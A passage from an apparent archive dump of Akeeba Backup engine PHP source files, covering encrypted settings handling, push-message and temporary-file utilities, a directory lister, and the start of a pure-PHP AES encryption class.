use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Implements encrypted settings handling features
 *
 * @author nicholas
 */
class SecureSettings
{
	/**
	 * The filename for the settings encryption key
	 *
	 * @var   string
	 */
	protected $keyFilename = 'serverkey.php';

	protected $key = null;

	/**
	 * Set the key filename e.g. 'serverkey.php';
	 *
	 * @param   string  $filename  The new filename to use
	 *
	 * @return  void
	 */
	public function setKeyFilename($filename)
	{
		$this->keyFilename = $filename;
	}

	/**
	 * Sets the server key, overriding an already loaded key.
	 *
	 * @param $key
	 */
	public function setKey($key)
	{
		$this->key = $key;
	}

	/**
	 * Gets the configured server key, automatically loading the server key storage file
	 * if required.
	 *
	 * @return string
	 */
	public function getKey()
	{
		if (is_null($this->key))
		{
			$this->key = '';

			if (!defined('AKEEBA_SERVERKEY'))
			{
				$filename = dirname(__FILE__) . '/../' . $this->keyFilename;
				$altFilename = $this->keyFilename;

				if (file_exists($filename))
				{
					include_once $filename;
				}
				elseif (file_exists($altFilename))
				{
					include_once $altFilename;
				}
			}

			if (defined('AKEEBA_SERVERKEY'))
			{
				$this->key = base64_decode(AKEEBA_SERVERKEY);
			}
		}

		return $this->key;
	}

	/**
	 * Do the server options allow us to use settings encryption?
	 *
	 * @return bool
	 */
	public function supportsEncryption()
	{
		// Do we have the encrypt.php plugin?
		if (!class_exists('\\Akeeba\\Engine\\Util\\Encrypt', true))
		{
			return false;
		}

		// Did the user intentionally disable settings encryption?
		$useEncryption = Platform::getInstance()->get_platform_configuration_option('useencryption', -1);

		if ($useEncryption == 0)
		{
			return false;
		}

		// Do we have base64_encode/_decode required for encryption?
		if (!function_exists('base64_encode') || !function_exists('base64_decode'))
		{
			return false;
		}

		// Pre-requisites met. We can encrypt and decrypt!
		return true;
	}

	/**
	 * Gets the preferred encryption mode. Currently, if mcrypt is installed and activated we will
	 * use AES128.
	 *
	 * @return string
	 */
	public function preferredEncryption()
	{
		$aes     = new Encrypt();
		$adapter = $aes->getAdapter();

		if (!$adapter->isSupported())
		{
			return 'CTR128';
		}

		return 'AES128';
	}

	/**
	 * Encrypts the settings using the automatically detected preferred algorithm
	 *
	 * @param   $rawSettings  string  The raw settings string
	 * @param   $key          string  The encryption key. Set to NULL to automatically find the key.
	 *
	 * @return  string  The encrypted data to store in the database
	 */
	public function encryptSettings($rawSettings, $key = null)
	{
		// Do we really support encryption?
		if (!$this->supportsEncryption())
		{
			return $rawSettings;
		}

		// Does any of the preferred encryption engines exist?
		$encryption = $this->preferredEncryption();

		if (empty($encryption))
		{
			return $rawSettings;
		}

		// Do we have a non-empty key to begin with?
		if (empty($key))
		{
			$key = $this->getKey();
		}

		if (empty($key))
		{
			return $rawSettings;
		}

		if ($encryption == 'AES128')
		{
			$encrypted = Factory::getEncryption()->AESEncryptCBC($rawSettings, $key);

			if (empty($encrypted))
			{
				$encryption = 'CTR128';
			}
			else
			{
				// Note: CBC returns the encrypted data as a binary string and requires Base 64 encoding
				$rawSettings = '###AES128###' . base64_encode($encrypted);
			}
		}

		if ($encryption == 'CTR128')
		{
			$encrypted = Factory::getEncryption()->AESEncryptCtr($rawSettings, $key, 128);

			if (!empty($encrypted))
			{
				// Note: CTR returns the encrypted data readily encoded in Base 64
				$rawSettings = '###CTR128###' . $encrypted;
			}
		}

		return $rawSettings;
	}

	/**
	 * Decrypts the encrypted settings and returns the plaintext INI string
	 *
	 * @param   string  $encrypted  The encrypted data
	 *
	 * @return  string  The decrypted data
	 */
	public function decryptSettings($encrypted, $key = null)
	{
		if (substr($encrypted, 0, 12) == '###AES128###')
		{
			$mode = 'AES128';
		}
		elseif (substr($encrypted, 0, 12) == '###CTR128###')
		{
			$mode = 'CTR128';
		}
		else
		{
			return $encrypted;
		}

		if (empty($key))
		{
			$key = $this->getKey();
		}

		if (empty($key))
		{
			return '';
		}

		$encrypted = substr($encrypted, 12);

		switch ($mode)
		{
			default:
			case 'AES128':
				$encrypted = base64_decode($encrypted);
				$decrypted = rtrim(Factory::getEncryption()->AESDecryptCBC($encrypted, $key), "\0");
				break;

			case 'CTR128':
				$decrypted = Factory::getEncryption()->AESDecryptCtr($encrypted, $key, 128);
				break;
		}

		if (empty($decrypted))
		{
			$decrypted = '';
		}

		return $decrypted;
	}
}
com_akeeba/BackupEngine/Util/PushMessagesInterface.php000060400000003720152455305260017030 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Util
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

interface PushMessagesInterface
{
	/**
	 * Sends a push message to all connected devices. The intent is to provide the user with an information message,
	 * e.g. notify them about the progress of the backup.
	 *
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function message($subject, $details = null);

	/**
	 * Sends a push message, containing a URL/URI, to all connected devices. The URL will be rendered as something
	 * clickable on most devices.
	 *
	 * @param   string  $url      The URL/URI
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function link($url, $subject, $details = null);
}com_akeeba/BackupEngine/Util/TemporaryFiles.php000060400000014142152455305260015545 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Temporary files management class. Handles creation, tracking and cleanup.
 */
class TemporaryFiles
{

	/**
	 * Creates a randomly-named temporary file, registers it with the temporary
	 * files management and returns its absolute path
	 *
	 * @return  string  The temporary file name
	 */
	public function createRegisterTempFile()
	{
		// Create a randomly named file in the temp directory
		$registry = Factory::getConfiguration();
		$tempFile = tempnam($registry->get('akeeba.basic.output_directory'), 'ak');

		// Register it and return its absolute path
		$tempName = basename($tempFile);

		return Factory::getTempFiles()->registerTempFile($tempName);
	}

	/**
	 * Registers a temporary file with the Akeeba Engine, storing the list of temporary files
	 * in another temporary flat database file.
	 *
	 * @param   string  $fileName  The path of the file, relative to the temporary directory
	 *
	 * @return  string  The absolute path to the temporary file, for use in file operations
	 */
	public function registerTempFile($fileName)
	{
		$configuration = Factory::getConfiguration();
		$tempFiles     = $configuration->get('volatile.tempfiles', false);
		if ($tempFiles === false)
		{
			$tempFiles = [];
		}
		else
		{
			$tempFiles = @unserialize($tempFiles);

			if ($tempFiles === false)
			{
				$tempFiles = [];
			}
		}

		if (!in_array($fileName, $tempFiles))
		{
			$tempFiles[] = $fileName;
			$configuration->set('volatile.tempfiles', serialize($tempFiles));
		}

		return Factory::getFilesystemTools()->TranslateWinPath($configuration->get('akeeba.basic.output_directory') . '/' . $fileName);
	}

	/**
	 * Unregister and delete a temporary file
	 *
	 * @param   string  $fileName      The filename to unregister and delete
	 * @param   bool    $removePrefix  The prefix to remove
	 *
	 * @return  bool  True on success
	 */
	public function unregisterAndDeleteTempFile($fileName, $removePrefix = false)
	{
		$configuration = Factory::getConfiguration();

		if ($removePrefix)
		{
			$fileName = str_replace(Factory::getFilesystemTools()->TranslateWinPath($configuration->get('akeeba.basic.output_directory')), '', $fileName);

			if ((substr($fileName, 0, 1) == '/') || (substr($fileName, 0, 1) == '\\'))
			{
				$fileName = substr($fileName, 1);
			}

			if ((substr($fileName, -1) == '/') || (substr($fileName, -1) == '\\'))
			{
				$fileName = substr($fileName, 0, -1);
			}
		}

		// Make sure this file is registered
		$configuration = Factory::getConfiguration();

		$serialised = $configuration->get('volatile.tempfiles', false);
		$tempFiles  = [];

		if ($serialised !== false)
		{
			$tempFiles = @unserialize($serialised);
		}

		if (!is_array($tempFiles))
		{
			return false;
		}

		if (!in_array($fileName, $tempFiles))
		{
			return false;
		}

		$file = $configuration->get('akeeba.basic.output_directory') . '/' . $fileName;
		Factory::getLog()->debug("-- Removing temporary file $fileName");
		$platform = strtoupper(PHP_OS);

		// Chown normally doesn't work on Windows but many years ago I found it necessary to delete temp files. No idea.
		if ((substr($platform, 0, 6) == 'CYGWIN') || (substr($platform, 0, 3) == 'WIN'))
		{
			// On Windows we have to chown() the file first to make it owned by Nobody
			Factory::getLog()->debug("-- Windows hack: chowning $fileName");
			@chown($file, 600);
		}

		$result = @$this->nullifyAndDelete($file);

		// Make sure the file is removed before unregistering it
		if (!@file_exists($file))
		{
			$aPos = array_search($fileName, $tempFiles);

			if ($aPos !== false)
			{
				unset($tempFiles[$aPos]);

				$configuration->set('volatile.tempfiles', serialize($tempFiles));
			}
		}

		return $result;
	}


	/**
	 * Deletes all temporary files
	 *
	 * @return  void
	 */
	public function deleteTempFiles()
	{
		$configuration = Factory::getConfiguration();

		$serialised = $configuration->get('volatile.tempfiles', false);
		$tempFiles  = [];

		if ($serialised !== false)
		{
			$tempFiles = @unserialize($serialised);
		}

		if (!is_array($tempFiles))
		{
			$tempFiles = [];
		}

		$fileName = null;

		if (!empty($tempFiles))
		{
			foreach ($tempFiles as $fileName)
			{
				Factory::getLog()->debug("-- Removing temporary file $fileName");
				$file     = $configuration->get('akeeba.basic.output_directory') . '/' . $fileName;
				$platform = strtoupper(PHP_OS);

				// Chown normally doesn't work on Windows but many years ago I found it necessary to delete temp files. No idea.
				if ((substr($platform, 0, 6) == 'CYGWIN') || (substr($platform, 0, 3) == 'WIN'))
				{
					// On Windows we have to chwon() the file first to make it owned by Nobody
					@chown($file, 600);
				}

				$ret = @$this->nullifyAndDelete($file);
			}
		}

		$tempFiles = [];
		$configuration->set('volatile.tempfiles', serialize($tempFiles));
	}

	/**
	 * Nullify the contents of the file and try to delete it as well
	 *
	 * @param   string  $filename  The absolute path to the file to delete
	 *
	 * @return  bool  True of the deletion is successful
	 */
	public function nullifyAndDelete($filename)
	{
		// Try to nullify (method #1)
		$fp = @fopen($filename, 'w');

		if (is_resource($fp))
		{
			@fclose($fp);
		}
		else
		{
			// Try to nullify (method #2)
			@file_put_contents($filename, '');
		}

		// Unlink
		return @unlink($filename);
	}
}
com_akeeba/BackupEngine/Util/FileLister.php000060400000007521152455305260014645 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * A filesystem scanner, for internal use
 */
class FileLister
{
	public function &getFiles($folder, $fullpath = false)
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			return $false;
		}

		$handle = @opendir($folder);
		if ($handle === false)
		{
			$handle = @opendir($folder . '/');
		}
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			return $false;
		}

		$registry            = Factory::getConfiguration();
		$dereferencesymlinks = $registry->get('engine.archiver.common.dereference_symlinks');

		while ((($file = @readdir($handle)) !== false))
		{
			if (($file != '.') && ($file != '..'))
			{
				// # Fix 2.4.b1: Do not add DS if we are on the site's root and it's an empty string
				// # Fix 2.4.b2: Do not add DS is the last character _is_ DS
				$ds     = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;
				$dir    = "$folder/$file";
				$isDir  = @is_dir($dir);
				$isLink = @is_link($dir);

				//if (!$isDir || ($isDir && $isLink && !$dereferencesymlinks) ) {
				if (!$isDir)
				{
					if ($fullpath)
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($dir) : $dir;
					}
					else
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($file) : $file;
					}
					if ($data)
					{
						$arr[] = $data;
					}
				}
			}
		}
		@closedir($handle);

		return $arr;
	}

	public function &getFolders($folder, $fullpath = false)
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			return $false;
		}

		$handle = @opendir($folder);
		if ($handle === false)

		{
			$handle = @opendir($folder . '/');
		}

		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			return $false;
		}

		$registry            = Factory::getConfiguration();
		$dereferencesymlinks = $registry->get('engine.archiver.common.dereference_symlinks');

		while ((($file = @readdir($handle)) !== false))
		{
			if (($file != '.') && ($file != '..'))
			{
				$dir    = "$folder/$file";
				$isDir  = @is_dir($dir);
				$isLink = @is_link($dir);

				if ($isDir)
				{
					//if(!$dereferencesymlinks && $isLink) continue;
					if ($fullpath)
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($dir) : $dir;
					}
					else
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($file) : $file;
					}

					if ($data)
					{
						$arr[] = $data;
					}
				}
			}
		}
		@closedir($handle);

		return $arr;
	}
}
com_akeeba/BackupEngine/Util/Encrypt.php000060400000066365152455305260014242 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\AesAdapter\AdapterInterface;
use Akeeba\Engine\Util\AesAdapter\Mcrypt;
use Akeeba\Engine\Util\AesAdapter\OpenSSL;

/**
 * AES implementation in PHP (c) Chris Veness 2005-2016.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Heavily modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Also added AES-128 CBC mode (with mcrypt and OpenSSL) on top of AES CTR
 */
class Encrypt
{
	use HashTrait;

	// Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
	protected $Sbox =
		[
			0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
			0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
			0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
			0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
			0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
			0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
			0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
			0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
			0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
			0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
			0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
			0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
			0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
			0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
			0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
			0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
		];

	// Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
	protected $Rcon = [
		[0x00, 0x00, 0x00, 0x00],
		[0x01, 0x00, 0x00, 0x00],
		[0x02, 0x00, 0x00, 0x00],
		[0x04, 0x00, 0x00, 0x00],
		[0x08, 0x00, 0x00, 0x00],
		[0x10, 0x00, 0x00, 0x00],
		[0x20, 0x00, 0x00, 0x00],
		[0x40, 0x00, 0x00, 0x00],
		[0x80, 0x00, 0x00, 0x00],
		[0x1b, 0x00, 0x00, 0x00],
		[0x36, 0x00, 0x00, 0x00],
	];

	protected $passwords = [];

	/**
	 * The algorithm to use for PBKDF2. Must be a supported hash_hmac algorithm. Default: sha1
	 *
	 * @var  string
	 */
	private $pbkdf2Algorithm = 'sha1';

	/**
	 * Number of iterations to use for PBKDF2
	 *
	 * @var  int
	 */
	private $pbkdf2Iterations = 1000;

	/**
	 * Should we use a static salt for PBKDF2?
	 *
	 * @var  int
	 */
	private $pbkdf2UseStaticSalt = 0;

	/**
	 * The static salt to use for PBKDF2
	 *
	 * @var  string
	 */
	private $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * AES Cipher function: encrypt 'input' with Rijndael algorithm
	 *
	 * @param   string  $input  message as byte-array (16 bytes)
	 * @param   array   $w      key schedule as 2D byte-array (Nr+1 x Nb bytes) -
	 *                          generated from the cipher key by KeyExpansion()
	 *
	 * @return      array  ciphertext as byte-array (16 bytes)
	 */
	public function Cipher($input, $w)
	{
		// main Cipher function [�5.1]
		$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$state = []; // initialise 4xNb byte-array 'state' with input [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$state[$i % 4][(int) floor($i / 4)] = $input[$i];
		}

		$state = $this->AddRoundKey($state, $w, 0, $Nb);

		for ($round = 1; $round < $Nr; $round++)
		{
			// apply Nr rounds
			$state = $this->SubBytes($state, $Nb);
			$state = $this->ShiftRows($state, $Nb);
			$state = $this->MixColumns($state, $Nb);
			$state = $this->AddRoundKey($state, $w, $round, $Nb);
		}

		$state = $this->SubBytes($state, $Nb);
		$state = $this->ShiftRows($state, $Nb);
		$state = $this->AddRoundKey($state, $w, $Nr, $Nb);

		$output = [4 * $Nb]; // convert state to 1-d array before returning [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$output[$i] = $state[$i % 4][(int) floor($i / 4)];
		}

		return $output;
	}

	/**
	 * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
	 * to generate a key schedule
	 *
	 * @param   array  $key  cipher key byte-array (16 bytes)
	 *
	 * @return    array key schedule as 2D byte-array (Nr+1 x Nb bytes)
	 */
	public function KeyExpansion($key)
	{
		// generate Key Schedule from Cipher Key [�5.2]
		$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nk = count($key) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
		$Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$w    = [];
		$temp = [];

		for ($i = 0; $i < $Nk; $i++)
		{
			$r     = [$key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]];
			$w[$i] = $r;
		}

		for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++)
		{
			$w[(int) $i] = [];

			for ($t = 0; $t < 4; $t++)
			{
				$temp[$t] = $w[(int) $i - 1][$t];
			}

			if ($i % $Nk == 0)
			{
				$temp = $this->SubWord($this->RotWord($temp));

				for ($t = 0; $t < 4; $t++)
				{
					$temp[$t] ^= $this->Rcon[(int) ($i / $Nk)][$t];
				}
			}
			elseif ($Nk > 6 && $i % $Nk == 4)
			{
				$temp = $this->SubWord($temp);
			}

			for ($t = 0; $t < 4; $t++)
			{
				$w[(int) $i][$t] = $w[(int) $i - $Nk][$t] ^ $temp[$t];
			}
		}

		return $w;
	}

	/**
	 * Encrypt a text using AES encryption in Counter mode of operation
	 *  - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
	 *
	 * Unicode multi-byte character safe
	 *
	 * @param   string  $plaintext  source text to be encrypted
	 * @param   string  $password   the password to use to generate a key
	 * @param   int     $nBits      number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return string encrypted text
	 */
	public function AESEncryptCtr($plaintext, $password, $nBits)
	{
		$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES

		// standard allows 128/192/256 bit keys
		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}

		// note PHP (5) gives us plaintext and password in UTF8 encoding!

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key
		$nBytes  = $nBits / 8; // no bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long

		// initialise counter block (NIST SP800-38A �B.2): millisecond time-stamp for nonce in
		// 1st 8 bytes, block counter in 2nd 8 bytes
		$counterBlock = [];
		$nonce        = floor(microtime(true) * 1000); // timestamp: milliseconds since 1-Jan-1970
		$nonceSec     = floor($nonce / 1000);
		$nonceMs      = $nonce % 1000;

		// encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i] = $this->urs($nonceSec, $i * 8) & 0xff;
		}

		for ($i = 0; $i < 4; $i++)
		{
			$counterBlock[$i + 4] = $nonceMs & 0xff;
		}

		// and convert it to a string to go on the front of the ciphertext
		$ctrTxt = '';

		for ($i = 0; $i < 8; $i++)
		{
			$ctrTxt .= chr($counterBlock[$i]);
		}

		// generate key schedule - an expansion of the key into distinct Key Rounds for each round
		$keySchedule = $this->KeyExpansion($key);

		$blockCount = ceil(strlen($plaintext) / $blockSize);
		$ciphertxt  = []; // ciphertext as array of strings

		for ($b = 0; $b < $blockCount; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = $this->urs($b, $c * 8) & 0xff;
			}

			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = $this->urs($b / 0x100000000, $c * 8);
			}

			$cipherCntr = $this->Cipher($counterBlock, $keySchedule); // -- encrypt counter block --

			// block size is reduced on final block
			$blockLength = $b < $blockCount - 1 ? $blockSize : (strlen($plaintext) - 1) % $blockSize + 1;
			$cipherByte  = [];

			for ($i = 0; $i < $blockLength; $i++)
			{ // -- xor plaintext with ciphered counter byte-by-byte --
				$cipherByte[$i] = $cipherCntr[$i] ^ ord(substr($plaintext, $b * $blockSize + $i, 1));
				$cipherByte[$i] = chr($cipherByte[$i]);
			}

			$ciphertxt[$b] = implode('', $cipherByte); // escape troublesome characters in ciphertext
		}

		// implode is more efficient than repeated string concatenation
		$ciphertext = $ctrTxt . implode('', $ciphertxt);
		$ciphertext = base64_encode($ciphertext);

		return $ciphertext;
	}

	/**
	 * Decrypt a text encrypted by AES in counter mode of operation
	 *
	 * @param   string  $ciphertext  source text to be decrypted
	 * @param   string  $password    the password to use to generate a key
	 * @param   int     $nBits       number of bits to be used in the key (128, 192, or 256)
	 *
	 * @return string decrypted text
	 */
	public function AESDecryptCtr($ciphertext, $password, $nBits)
	{
		$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES

		// standard allows 128/192/256 bit keys
		if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
		{
			return '';
		}

		$ciphertext = base64_decode($ciphertext);

		// use AES to encrypt password (mirroring encrypt routine)
		$nBytes  = $nBits / 8; // no bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long

		// recover nonce from 1st element of ciphertext
		$counterBlock = [];
		$ctrTxt       = substr($ciphertext, 0, 8);

		for ($i = 0; $i < 8; $i++)
		{
			$counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
		}

		// generate key schedule
		$keySchedule = $this->KeyExpansion($key);

		// separate ciphertext into blocks (skipping past initial 8 bytes)
		$nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
		$ct      = [];

		for ($b = 0; $b < $nBlocks; $b++)
		{
			$ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
		}

		$ciphertext = $ct; // ciphertext is now array of block-length strings

		// plaintext will get generated block-by-block into array of block-length strings
		$plaintxt = [];

		for ($b = 0; $b < $nBlocks; $b++)
		{
			// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c] = $this->urs($b, $c * 8) & 0xff;
			}

			for ($c = 0; $c < 4; $c++)
			{
				$counterBlock[15 - $c - 4] = $this->urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
			}

			$cipherCntr = $this->Cipher($counterBlock, $keySchedule); // encrypt counter block

			$plaintxtByte = [];

			for ($i = 0; $i < strlen($ciphertext[$b]); $i++)
			{
				// -- xor plaintext with ciphered counter byte-by-byte --
				$plaintxtByte[$i] = $cipherCntr[$i] ^ ord(substr($ciphertext[$b], $i, 1));
				$plaintxtByte[$i] = chr($plaintxtByte[$i]);
			}

			$plaintxt[$b] = implode('', $plaintxtByte);
		}

		// join array of blocks into single plaintext string
		$plaintext = implode('', $plaintxt);

		return $plaintext;
	}

	/**
	 * AES encryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 * The data length is tucked as a 32-bit unsigned integer (little endian)
	 * after the ciphertext. It supports AES-128 only.
	 *
	 * @param   string  $plaintext  The data to encrypt
	 * @param   string  $password   Encryption password
	 *
	 * @return  string  The ciphertext
	 * @author Nicholas K. Dionysopoulos
